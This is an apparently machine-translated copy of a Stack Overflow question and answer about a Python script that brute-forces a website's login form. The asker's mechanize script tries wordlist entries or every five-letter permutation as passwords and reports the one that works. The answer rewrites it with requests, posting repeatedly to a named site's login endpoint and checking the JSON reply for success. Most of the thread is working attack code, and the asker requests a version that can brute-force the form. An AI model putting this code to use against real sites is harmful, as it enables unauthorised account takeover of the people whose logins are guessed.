2016-06-24 5 views
1

Итак, у меня есть этот скрипт с грубым форсированием, который в основном перетаскивает веб-формы. Скажем, веб-форма моего веб-сайта моего сайта перенаправляется на тот же URL-адрес при успешном входе в систему. Например, для входа в систему мне нужно перейти на этот сайт: https://example.com/account/, когда я набираю неправильное имя пользователя/пароль, он не изменяет URL страницы. Все остается неизменным. И если я нахожу правильное имя пользователя & пароль, он изменяет заголовок страницы, но URL-адрес остается прежним.Python - mechanize/requests get Заголовок

Я хочу изменить: response.geturl() --> response.gettitle() Но я не уверен, что является правильным атрибутом для этого.

Мой код:

#!/usr/bin/python 
import mechanize 
import itertools 
import sys 
import os 

br = mechanize.Browser() 
br.set_handle_equiv(True) 
br.set_handle_redirect(True) 
br.set_handle_referer(True) 
br.set_handle_robots(False) 
ua = 'Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 (compatible;)' 
br.addheaders = [('User-Agent', ua), ('Accept', '*/*')] 

if len(sys.argv) > 1: 
    if os.path.exists(sys.argv[1]): 
     combos = [line.strip() for line in open(sys.argv[1])] 
    else: 
     print "[-] File not found" 
     sys.exit() 
else: 
    combos = itertools.permutations("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",5) 

r = br.open("https://example.com/account/") 

for x in combos: 
    br.select_form(nr = 0) 
    br.form['login'] = "my_username" 
    br.form['pass'] = ''.join(x) 
    print "\033[1;33;48mChecking:"+"\033[1;34;48m",br.form['pass'] 
    response = br.submit() 
    if response.geturl()=="https://example.com/account/": 
    #if response.gettitle()==... 
     print "" 
     print "\033[1;32;48mPassword found:"+"\033[1;36;48m",''.join(x) 
     break 
+0

'response.title()'? – Arpan

+0

Не работает: AttributeError: экземпляр closeable_response не имеет атрибута 'title' –

+0

Посмотрите на http://stackoverflow.com/questions/11531958/verifying-br-submit-using-pythons-mechanize-module – Arpan

ответ

1

Это очень просто с запросами:

import requests 
data ={"login":"yourlogin", 
"pass": "yourpass"} 


r = requests.post("https://bagar.io/engine/modules/login.php", data=data) 
print("success" in r.json()) 

Удачный Войти возвращает {u'success': u'allow'} и неудачное возвращение {u'error':lot of unicode...}.

Так просто продолжают передавать данные входа в систему:

for x in combos: 
     data = {"login":"my_username", 
       "pass":"".join(x)} 
     r = requests.post("https://bagar.io/engine/modules/login.php", data=data) 
     print("success" in r.json()) 
+0

Можете ли вы отредактировать свой пост и сделать сценарий похожим на тот, который я написал выше? Это означает, что он может технически переборщить веб-форму, если захочет. –

+0

Нужно ли мне: br.select_form (nr = 0)? –

+0

Нет, осталось от копирования пасты –

 Смежные вопросы

  • Нет связанных вопросов^_^